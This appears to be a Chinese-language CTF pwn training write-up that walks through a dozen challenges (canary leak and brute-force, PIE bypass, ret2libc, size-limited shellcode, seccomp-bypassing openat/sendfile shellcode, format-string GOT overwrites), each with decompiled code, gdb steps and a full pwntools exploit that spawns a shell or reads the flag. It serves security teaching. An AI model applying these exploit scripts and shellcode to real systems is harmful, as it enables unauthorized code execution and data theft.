

8.18 PWN 详解

Canary

程序分析

checksec程序进行检查，看保护开启情况，开启了Canary保护和NX保护

```
(kali㉿kali)-[~/.../training_pwn/第二次课程/保护绕过/canary]
$ checksec leak_canary
[*] '/home/kali/Desktop/training_pwn/第二次课程/保护绕过/canary/leak_canary'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8046000)
RUNPATH:   b' /usr/lib/FreeLibs/i386/2.23-0ubuntu11.3_i386/'
Stripped:   No

(kali㉿kali)-[~/.../training_pwn/第二次课程/保护绕过/canary]
$
```

IDA32位打开分析，存在一个printf函数打印输入的字符

```
unsigned int vulnfunc()
{
    char buf[256]; // [esp+Ch] [ebp-10Ch] BYREF
    unsigned int v2; // [esp+10Ch] [ebp-Ch]


    v2 = __readgsdword(0x14u);
    read(0, buf, 0x200u);
    printf(buf);
    read(0, buf, 0x200u);
    printf(buf);
    return __readgsdword(0x14u) ^ v2;
}
```

00000610 vulnfunc:12 (8048610)

两种方法泄露canary

- 利用打印外带canary
- 利用格式化字符串漏洞打印canary

格式字符串寻找偏移如下



EXP

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-17
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *

filename = "./leak_canary"
url = ''
gdbscript = '''
    b * 0x08048638
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
            timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

# 外带泄露
# p.send(b'a' * 0x101)
# p.recvuntil(b'a' * 0x100)
# pause()
# canary = u32(p.recv(4)) - ord(b'a')

# payload = (b'a' * 0x100 + p32(canary)).ljust(0x10c) + p32(0) + p32(0x80485cc)

# p.send(payload)

# 格式化字符串泄露
```

```

payload = b'%71$p'
p.send(payload)

p.recvuntil("0x")
canary = int(p.recv(8) , 16)
payload = (b'a' * 0x100 + p32(canary)).ljust(0x10c) + p32(0) + p32(0x80485cc)
p.send(payload)

lss("canary")
p.interactive()

```

PIE

程序分析

checksec程序进行检查，看保护开启情况，没有开启Canary，其他全开

```

(kali㉿kali)-[~/../training_pwn/第二次课程/保护绕过/PIE]
$ checksec pie
[*] '/home/kali/Desktop/training_pwn/第二次课程/保护绕过/PIE/pie'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
RUNPATH:   b'/usr/lib/freelibs/amd64/2.35-0ubuntu3.8_amd64/'
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No

(kali㉿kali)-[~/../training_pwn/第二次课程/保护绕过/PIE]
$

```

程序有个打印，由于到`\x00`才截断，我们可以泄露出来栈上面的一些信息。通过调试看一下信息

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf[256]; // [rsp+0h] [rbp-100h] BYREF


    init(argc, argv, envp);
    read(0, buf, 0x200uLL);
    printf("you said %s", buf); |
    return 0;
}

```


调试命令

```
gdb pie
start
ctrl + c
b * $rebase(0x0000000000001220)
c
aaaabbbb
c
stack...
```

通过调试可以看到libc地址，和main函数的信息在栈上。




那么我们可以通过打印外带来邪路libc地址，从而算出基地址。由于程序只有一次溢出的机会，我们还需要控制程序再次溢出。在 `__libc_start_call_main+128` 附近发现了 `magic_gadget`，可以巧妙的再次执行main函数



通过调试我们可以发现程序执行流已经被改变，`ret` 后会去 `call main`。

调试命令

```
t
python pie.py de
b * $rebase(0x0000000000001244)
c
```



利用再次溢出我们打常规的 `ret2libc` , 需要注意栈对齐问题

EXP

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-17
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *

filename = "./pie"
url = ''
gdbscript = ''
b * $rebase(0x0000000000001239)

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
            timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)
libc = ELF("/usr/lib/freebies/amd64/2.35-0ubuntu3.8_amd64/libc.so.6")

payload = b"a" * 0x108 + b"\x89"

p.send(payload)
```

```

p.recvuntil(b'a' * 0x108)
# pause()
libc_base = u64(p.recvuntil("\x7f")[-6:] + b'\0\0') - 0x29d89
lss("libc_base")

pop_rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x108 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
p.send(payload)

p.interactive()

```

pie_canary

程序分析

checksec程序进行检查，看保护开启情况，保护全开。

```

(kali㉿kali)-[~/.../training_pwn/第二次课程/保护绕过/canary]
$ checksec pie_canary
[*] '/home/kali/Desktop/training_pwn/第二次课程/保护绕过/canary/pie_canary'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
RUNPATH:   b'/usr/lib/freebies/amd64/2.35-0ubuntu3.8_amd64/'
SHSTK:     Enabled
IBT:       Enabled
Stripped:   No

```

打开IDA64位分析程序，程序fork了一个子进程，子进程fork函数的返回值位0（既v6 = 0），父进程fork函数的返回值为子进程的pid，作用子进程进入read_input函数执行，父进程在wait等待。

```

init();
v3 = time(0LL);
srand(v3);
while ( 1 )
{
    puts("oh, welcome to BaseCTF");
    v5 = rand() % 50;
    __isoc99_scanf("%d", &v4);
    if ( v5 != v4 )
        break;
    v6 = fork();
    if ( v6 < 0 )
    {
        puts("fork error");
        exit(1);
    }
    if ( !v6 )
    {
        puts("welcome");
        read_input("BaseCTF", argv);
        puts("cheer on");
        exit(0);
    }
    wait(0LL);
}

```

跟进 read_input 函数，只有一个read函数，因为父子进程的Canary是相同的，如果子进程因为Canary 报错而退出，整个程序不会退出，因为父进程没有停止，我们就一个字节一个字节覆盖Canary，如果没报错，那么这个字节就是正确的，继续覆盖下个字节，依次爆破出Canary 值

```

ssize_t read_input()
{
    char buf[104]; // [rsp+0h] [rbp-70h] BYREF
    unsigned __int64 v2; // [rsp+68h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    return read(0, buf, 0x80uLL);
}

```

因为程序开启 pie 保护，我们爆破出来 Canary 地址，还是不能直接控制到后门函数。我们调试一下看看需要爆破几位。

调试命令

```

gdb pie_canary
ctrl + c
vmmap

```

可以观察到基地址三个 0（1.5个字节），而我们程序偏移是两个字节吗，所以需要爆破一位。

The screenshot shows the GDB interface with the 'vmmap' command executed. The output displays memory regions for the process. The 'pie_canary' region is highlighted in red, indicating its location in memory. The stack region is also visible, showing its current state and growth direction.

EXP

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

```

Basic PWN Template - Normal Template

Author: p0ach11

Date: 2025-08-17

Target: no description

```

"""

```

```

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *
from struct import pack

filename = "./pie_canary"
url = ''
gdbscript = '''
    set follow-fork-mode parent
    b * 0x000000000401DB6
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
            timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0)
libc.srand(seed)

# 泄露 canary
canary = b'\x00'

for i in range(7):
    for a in range(256):
        num = libc.rand() % 50
        p.sendlineafter(b'BaseCTF', str(num))

        payload = b'a' * 0x68 + canary + p8(a)
        p.send(payload)

        p.recvuntil(b'welcome\n')
        rec = p.readline()

        if b'smashing' not in rec:
            canary += p8(a)
            break

canary = u64(canary)
lss("canary")

shell = 0x02B1

while True:
    for i in range(16):
        num = libc.rand() % 50
        p.sendline(str(num))

        payload = b'A' * 0x68 + p64(canary) + b'A' * 0x8 + p16(shell)

        print(payload)
        p.send(payload)

        rec = p.readline()

```



```

print("===" , rec)
pause()
if b'flag{' in rec :
    exit()

if b'welcome' in rec:

    p.readline()
    shell += 0x1000
    continue
else:
    print("else=====")
    break
p.interactive()

```

GDB1

程序分析

IDA64位分析，程序初始化了一个s和key v8，加密算法也是固定的 sub_12E5，然后用输入和密文对比，如果一样就输入 flag

```

char buf[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 v10; // [rsp+438h] [rbp-8h]

v10 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
strcpy(s, "0d000721");
qmemcpy(v8, "mysecretkey1234567890abcdefghijklmnopqrstuvwxyz", sizeof(v8));
printf("Original: %s\n", s);
v3 = strlen(s);
sub_12E5(s, v3, v8);
printf("Input your encrypted data: ");
read(0, buf, 0x200uLL);
v4 = strlen(s);
if ( !memcmp(s, buf, v4) )
{
    printf("Congratulations!");
    fd = open("/flag", 0);
    memset(buf, 0, 0x100uLL);
    read(fd, buf, 0x100uLL);
    write(1, buf, 0x100uLL);
}
return 0LL;
}
00001872:main:22 (1872)

```

经过调试得到，每次输出的密文都是固定的


调试命令

```

gdb gdb
start
b * $rebase(0x0000000000000181F)
c
x/10gz $rbp-0x439

```

取出密文，输入程序就能拿到 flag



EXP

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-17
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *

filename = "./gdb"
url = ''
gdbscript = '''
b * $rebase(0x000000000000184C)
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

payload = p64(0x4557455355431d5d)
p.sendline(payload)

p.interactive()
```

GDB

程序分析

用IDA32位打开程序，定位到vul函数，函数实现了一个循环输入，造成了栈溢出。

```
int vul()
{
    int v1[11]; // [esp+0h] [ebp-38h] BYREF
    int v2; // [esp+2Ch] [ebp-Ch]

    v2 = 0;
    puts("Accounting Book");
    puts("Enter your bill, enter 0 to exit:");
    while ( 1 )
    {
        __isoc99_scanf("%d", v1);
        if ( !v1[0] )
            break;
        v1[++v2] = v1[0];
    }
    return puts("Recording completed");
}
```


因为 v2 (下标) 在 v1 下边 (gdb 相对位置，不是地址高低)，v1 向下覆盖到 v2 时会造成下标错乱，所以在覆盖 v2 地址的时候，要覆盖为她的原始值，调试得到值是多少

调试发送数据和调试过程

```
def sendnum(num) :
    sleep(0.1)
    p.sendline(str(num))


for i in range(10) :
    sendnum(0x123450 + i)
-----
python account.py de
b * 0x080492B3
c //十次
stack ..
distance 0xffffcc34 0xffffcc5c
```

调试结果



利用上面调试得到的信息，我们打常规的 `ret2libc`，去泄露 `libc` 地址，再次返回 `vul` 去再次溢出

第二次溢出的时候需要填充 `system` 函数和 `binsh` 地址，大小都超过了 `int` 类型的最大值，输入的 `v1` 位 `int` 类型，最多四个字节最高位为符号位，取值范围在 `-7FFFFFFF~7FFFFFFF` 最高位为符号位，所以负数可以取到最小为 `FFFFFFFF`，所以我们减去 `0x100000000` 变成负数，这样就能输入成功了



EXP

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-06
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *
```

```

filename = "./account"
url = '101.43.200.131:32891'
gdbscript = '''
    b * 0x080492B3
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='')
elf = ELF(filename)

def sendnum(num) :
    sleep(0.1)
    p.sendline(str(num))

pop_edx = 0x08049022
main_addr = 0x080492EB
puts_got = elf.got['puts']
puts_plt =elf.plt['puts']

for i in range(11) :
    if i == 10 :
        sendnum(0xa)
    else :
        sendnum(1 + i)

sendnum(3)
sendnum(3)

sendnum(3)

sendnum(puts_plt)
sendnum(main_addr)

sendnum(puts_got)
sendnum(0)
p.recvuntil("Recording completed\n")
puts_addr = u32(p.recv(4))
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")

system_addr = libc_base + libc.dump("system") - 0x100000000
binsh_addr = libc_base + libc.dump("str_bin_sh") - 0x100000000

print(system_addr)
print(binsh_addr)

# pause()
for i in range(11) :
    if i == 10 :
        sendnum(0xa)
    else :
        sendnum(1 + i)

sendnum(system_addr)

```

```

sendnum(system_addr)

sendnum(system_addr)

sendnum(system_addr)
sendnum(main_addr)
pause()
sendnum(binsh_addr)

sendnum(0)

lss("libc_base")
lss("system_addr")
lss("binsh_addr")
lss("puts_addr")
p.interactive()

```

shellcode

程序分析

在 buff 开发 rwx 权限，向 s 写入内容，随后 strcpy 给 buff，那我们就可以直接写入 shellcode，随后利用栈溢出去控制执行流到 buff

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char s[256]; // [rsp+0h] [rbp-100h] BYREF

    setbuf(stdin, 0LL);
    setbuf(stderr, 0LL);
    setbuf(stdout, 0LL);
    mprotect((&stdout & 0xFFFFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
    memset(s, 0, sizeof(s));
    read(0, s, 0x110uLL);
    strcpy(buff, s);
    return 0;
}

```

EXP

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-17
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwncscript import *

```

```

filename = "./shellcode"
url = ''
gdbscript = '''
    b * 0x000000000401277
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(0x100) + p64(0) + p64(0x0000000004040A0)
p.send(payload)

p.interactive()

```

minishellcode

程序分析

可以输入 0x12 个字节，给buf可执行权限

```

_int64 __fastcall main(int a1, char **a2, char **a3)
{
    void *buf; // [rsp+8h] [rbp-8h]

    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    puts("hello hacker");
    puts("try to show your strength ");
    buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
    read(0, buf, 0x12uLL);
    mprotect(buf, 0x1000uLL, 4);
    sub_11C9(buf);
    return 0LL;
}

```

我们跟进函数 sub_11C9，看汇编发现，把所有寄存器都清零了，只保留了 rdi 的值，也就是 shellcode 的地址，后门 jmp rdi 开始执行 shellcode

```

.text:00000000000011D3 41 56      push     r14
.text:00000000000011D5 41 55      push     r13
.text:00000000000011D7 41 54      push     r12
.text:00000000000011D9 53         push     rbx
.text:00000000000011DA 48 89 7D D0  mov     [rbp+var_30], rdi
.text:00000000000011DE 48 8B 7D D0  mov     rdi, [rbp+var_30]
.text:00000000000011E2 48 31 C0      xor     rax, rax
.text:00000000000011E5 48 31 DB      xor     rbx, rbx
.text:00000000000011E8 48 31 C9      xor     rcx, rcx
.text:00000000000011EB 48 31 D2      xor     rdx, rdx
.text:00000000000011EE 48 31 F6      xor     rsi, rsi
.text:00000000000011F1 4D 31 C0      xor     r8, r8
.text:00000000000011F4 4D 31 C9      xor     r9, r9
.text:00000000000011F7 4D 31 D2      xor     r10, r10
.text:00000000000011FA 4D 31 DB      xor     r11, r11
.text:00000000000011FD 4D 31 E4      xor     r12, r12
.text:0000000000001200 4D 31 ED      xor     r13, r13
.text:0000000000001203 4D 31 F6      xor     r14, r14
.text:0000000000001206 4D 31 FF      xor     r15, r15
.text:0000000000001209 48 31 ED      xor     rbp, rbp
.text:000000000000120C 48 31 E4      xor     rsp, rsp
.text:000000000000120F 48 89 FF      mov     rdi, rdi
.text:0000000000001212 FF E7      jmp     rdi


```

正常一个 pwntools 生成的 getshe11 shellcode 远远比这个多，所以我们不能直接用生成的，由于只保留了 rdi 寄存器，我们就可以对 rdi 寄存器进行操作构造 shellcode 如下，这个 shellcode 长 0xa，后边紧跟着 /bin/sh\x00 字符串，就会让 rdi 指向这个字符串，后边直接执行 execve(/bin/sh, 0, 0) 拿到 shell，总长度正好为 0x12 个

```

add rdi, 10
add rax, 59
syscall

```



EXP

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-17
Target: no description
"""

from pwn import *

```



```

from ctypes import *
from LibcSearcher import *
from pwnscript import *

filename = "./mini_shellcode"
url = '101.43.200.131:33005'
gdbscript = '''
    b * $rebase(0x00000000000012E2)
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)
# 构造 shellcode
shellcode = asm(
    """
    add rdi, 10
    add rax, 59
    syscall
    """
)
print(hex(len(shellcode)))
shellcode = shellcode + b"/bin/sh\x00"
p.send(shellcode)
p.interactive()

```

random

程序分析

查看保护，保护全关

```

问题 输出 调试控制台 终端 端口
(kali㉿kali)-[~/Desktop/training_pwn/第二次课程/shellcode编写]
$ checksec RANDOM
[*] '/home/kali/Desktop/training_pwn/第二次课程/shellcode编写/RANDOM'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x3fe000)
Stack:     Executable
RWX:       Has RWX segments
RUNPATH:   b'/usr/lib/freeLibs/amd64/2.23-0ubuntu11.3_amd64/'
Stripped:  No

(kali㉿kali)-[~/Desktop/training_pwn/第二次课程/shellcode编写]
$

```

程序开启沙箱，禁用一些系统调用。随机数种子固定生成的随机数序列就一样，也就是生成的为伪随机数，然后生成的伪随机数和输入的对比，如果相同进入 vulnerable 函数

```

v7 = 100;
sandbox();
v3 = time(0LL);
srand(v3);
for ( i = 0; i < v7; ++i )
{
    v6 = rand() % 50;
    puts("please input a guess num:");
    if ( __isoc99_scanf("%d", &v5) == -1; const char[])
        exit(0);
    if ( getchar() != 10 )
        exit(1);
    if ( v6 == v5 )
    {
        puts("good guys");
        vulnerable();
    }
    else
    {
        puts("no,no,no");
    }
}
return 0;
}
000009B9:main:16 (4009B9)

```

跟进 vulnerable 函数，只有一个read函数，溢出0x20个字节

```

size_t vulnerable()
{
    char buf[32]; // [rsp+0h] [rbp-20h] BYREF
    puts("your door");
    return read(0, buf, 0x40uLL);
}
0000091D:vulnerable:1 (40091D)

```

我们查看沙箱禁用哪些，发现禁用了 `execve`，那我们不能直接拿到 shell，需要通过 `ORW` 去读取 `flag`，很明显字节数不够，控制执行流调用 `read` 函数，读入多的字节，然后再调整到读入的地址，执行 `ORW`

```

(kali@kali)-[~/Desktop/training_pwn/第二次课程/shellcode编写]
$ seccomp-tools dump ./RANDOM
line CODE JT JF K
=====
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
(kali@kali)-[~/Desktop/training_pwn/第二次课程/shellcode编写]

```

EXP

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11

```

Date: 2025-08-17

Target: no description`

"""

```
from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *

filename = "./RANDOM"
url = '101.43.200.131:32896'
gdbscript = '''
    b * main
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
            timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0)
libc.srand(seed)
num = libc.rand()%50
print(num)
p.sendlineafter('please input a guess num:\n', str(num))
bss_addr = elf.bss() + 0x100
lss('bss_addr')
call_read = '''
    /* read(0, buf, size) */
    xor rax, rax
    xor rdi, rdi
    push 0x100
    pop rdx
    add rsi, 0x100
    syscall
    call rsi
'''

shellcode = '''
    /*open(fd, 0)*/
    push 0x67616c66
    push 2
    pop rax
    mov rdi, rsp
    xor rsi, rsi
    syscall
    /*read(fd, buf, 0x20)*/
    mov rdi, rax
    xor rax, rax
    mov rsi, 0x601180
    mov rdx, 0x20
    syscall
    /*write(1, buf, 0x20)*/
    mov rax, 1
    mov rdx, 0x20
    mov rsi, 0x601180
    mov rdi, 1
'''
```

```

syscall
'''
jmp_rsp = 0x000000000040094E
payload = asm(call_read)
print(hex(len(payload)))
payload = payload.ljust(0x20) + p64(0) + p64(jmp_rsp)
payload += asm("sub rsp , 0x30 ; jmp rsp")
p.sendafter('your door\n' , payload)
payload =asm(shellcode)
print(payload)
p.send(payload)

p.interactive()

```

no_write_no_read

程序分析

映射一块地址，给 `rwX` 权限，向该地址读入数据，然后开启沙箱，跳转到开辟的地址

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    init(argc, argv, envp);
    mmap(0xDEAD0000LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, 0xDEAD0000LL, 0x1000uLL);
    sandbox();
    MEMORY[0xDEAD0000]();
    return 0;
}

```

我们查看沙箱规则，规则限制我们不能用传统的 `ORW`，我们可以利用其他等级的函数进行替代，可参考[文章](#)

```

(kali@kali)-[~/Desktop/training_pwn/第二次课程/shellcode编写]
$ seccomp-tools dump ./no_write_no_read
aaaa
line  CODE  JT   JF     K
=====
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0008
0002: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0008
0003: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0008
0004: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0008
0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0008: 0x06 0x00 0x00 0x00000000  return KILL

```

EXP

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-07-12
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwncscript import *

filename = "./no_write_no_read"
url = ''
gdbscript = '''
b * $rebase(0x000000000000013E1)
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

# 方法一: 手搓shellcode
shellcode = asm('''
    /* openat(fd=0, file='/flag', oflag=0) */
    mov rsi, 0x67616c6662f;
    push rsi;
    mov rsi, rsp;
    mov edi, 0;
    mov edx, 0;
    mov ax, 0x101;
    syscall;

    /* mmap(addr=0x10000, length=0x100, prot=1, flags=1, fd='eax', offset=0) */
    push 1;
    pop r10;
    mov r8d, eax;
    xor r9d, r9d;
    mov edi, 0x10000;
    mov esi, 0x100;
    mov rdx, r10;
    push 9;
    pop rax;
    syscall;

    /* sendfile(out_fd=1, in_fd=3, offset=0, count=0x100) */
    mov r10d, 0x100;
    push 1;
    pop rdi;
    xor edx, edx;
```

```

    push 3;
    pop rsi;
    push 40;
    pop rax;
    syscall;
''' )

# 方法二: 利用pwntools工具
# shellcode = shellcraft.openat(0, '/flag', 0)
# shellcode += shellcraft.mmap(0x10000, 0x100, 1, 1, 'eax', 0)
# shellcode += shellcraft.sendfile(1, 3, 0, 0x100)
# shellcode = asm(shellcode)

p.send(shellcode)
p.interactive()

```

fmt1

程序分析

程序有个可以循环利用的格式化字符串漏洞，直接利用格式化字符串漏洞进行 libc 地址泄露，然后再修改 printf_got 表为 system，最后输入 ;/bin/sh\x00 就会执行 system(/bin/sh) 拿到 shell

```

v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts(
    "Hello,I am a computer Repeater updated.\n"
    "After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
    alarm(3u);
    memset(s, 0, 0x101uLL);
    memset(format, 0, 0x12CuLL);
    printf("Please tell me:");
    read(0, s, 0x100uLL);
    sprintf(format, "Repeater:%s\n", s);
    if ( strlen(format) > 0x10E )
        break;
    printf(format);
}
printf("what you input is really long!");
exit(0);
}
00000939:main:27 (400939)

```

EXP

```

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Normal Template
Author: p0ach11
Date: 2025-08-17
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwntools import *

```

```

filename = "./fmt1"
url = ''
gdbscript = '''
    b * 0x000000000400957
'''

set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)

printf_got = elf.got['printf']

payload = b'%9$s'.ljust(0x8) + p64(printf_got)
p.sendafter("Please tell me:", payload)

printf_addr = u64(p.recvuntil("\x7f")[-6:] + b'\0\0')
libc = LibcSearcher("printf", printf_addr)
libc_base = printf_addr - libc.dump("printf")

system_addr = libc_base + libc.dump("system")

byte1 = system_addr & 0xffff
byte2 = (system_addr >> 16) & 0xffff
#9
payload = b '%' + str(byte1 - 9).encode() + b'c%12$hn'
payload += b '%' + str(byte2 - byte1).encode() + b'c%13$hn'
print(hex(len(payload)))
payload = payload.ljust(0x20) + p64(printf_got) + p64(printf_got + 2)
p.sendafter("Please tell me:", payload)
pause()
p.send(b';/bin/sh\x00')

lss("printf_addr")
lss("byte1")
lss("byte2")
lss("system_addr")
lss("libc_base")
p.interactive()

```

try_fmt

程序分析

程序泄露一个栈地址，执行一次格式化字符串，随后 magic 设置为 0

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf[88]; // [rsp+0h] [rbp-60h] BYREF
    unsigned __int64 v5; // [rsp+58h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    puts("Welcome TGCTF!");
    printf("your gift %p\n", buf);
    puts("please tell me your name");
    read(0, buf, 0x30uLL);
    if ( magic == 1131796 )
    {
        printf(buf);
        magic = 0;
    }
    return 0;
}

```

00001253:main:13 (401253)

我们下断点再 `printf` 位置调试一下看看栈内容，`si` 进入 `printf` 函数，观察到压入了返回地址在栈上，由于我们已经得到了栈地址，所有可以对这个返回地址进行篡改，从而到达再次利用格式化字符串漏洞

The screenshot shows a debugger window with the following details:

- Registers:** RSP points to 0x7fffffff90e8. RSI points to 0x7fffffff90f0.
- Stack:** The stack frame for `printf@plt` is visible. The return address is 0x401276 (main+192). The argument 'aaaaaa' is at 0x7fffffff90f0.
- Console:** The user input 'b' is shown, which is being processed by the `printf` function.

我们控制返回地址到 `read` 函数设置寄存器位置

```

.text:00000000040122C E8 7F FE FF FF call _printf
.text:00000000040122C
.text:000000000401231 48 8D 3D E9 0D 00 00 lea rdi, aPleaseTellMeYo ; "please tell
.text:000000000401238 E8 43 FE FF FF call _puts
.text:000000000401238
.text:00000000040123D 48 8D 45 A0 lea rax, [rbp+buf]
.text:000000000401241 BA 30 00 00 00 mov edx, 30h ; '0'
.text:000000000401246 48 89 C6 mov rsi, rax ; buf
.text:000000000401249 BF 00 00 00 00 mov edi, 0 ; fd
.text:00000000040124E B8 00 00 00 00 mov eax, 0
.text:000000000401253 E8 68 FE FF FF call _read
.text:000000000401253
.text:000000000401258 8B 05 B2 2D 00 00 mov eax, cs:magic
.text:00000000040125E 3D 14 45 11 00 cmp eax, 114514h
.text:000000000401263 75 1B jnz short loc_401280
.text:000000000401263
.text:000000000401265 48 8D 45 A0 lea rax, [rbp+buf]
.text:000000000401269 48 89 C7 mov rdi, rax ; format
.text:00000000040126C B8 00 00 00 00 mov eax, 0
.text:000000000401271 E8 3A FE FF FF call _printf
.text:000000000401271
.text:000000000401276 C7 05 90 2D 00 00 00 00 mov cs:magic, 0
.text:000000000401276
.text:000000000401280

```

调试结果如下，偏移为 11，所有第一次我们就篡改 `printf` 函数的返回地址，顺便泄露 `libc` 地址


```

filename = "./fmt"
url = ''
gdbscript = '''
    b * 0x000000000401271
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little',
timeout=5)
p = pr(url=url, filename=filename, gdbscript=gdbscript, framepath='')
elf = ELF(filename)
libc = ELF("/usr/lib/freebies/amd64/2.31-0ubuntu9.16_amd64/libc.so.6")

p.recvuntil(b"0x")
stack = int(p.recv(12), 16)
lss("stack")

payload = b"%4669c%11$hn" + b"%19$p"
payload = payload.ljust(0x28, b"\x00")
payload += p64(stack - 8)
p.send(payload)

p.recvuntil(b"0x")
libc_base = int(p.recv(12), 16) - 0x24083
libc.address = libc_base
lss("libc_base")

oggs = [0xE3AFE, 0xE3B01, 0xE3B04]
ogg = libc.address + oggs[1]

byte1 = ogg & 0xffff
byte2 = (ogg >> 16) & 0xffff

payload = b"" + str(byte1).encode() + b"c%10$hn"
payload += b'%' + str(byte2 - byte1).encode() + b"c%11$hn"
payload = payload.ljust(0x20)
payload += p64(stack + 0x68)
payload += p64(stack + 0x68 + 2)
p.send(payload)

p.interactive()

```

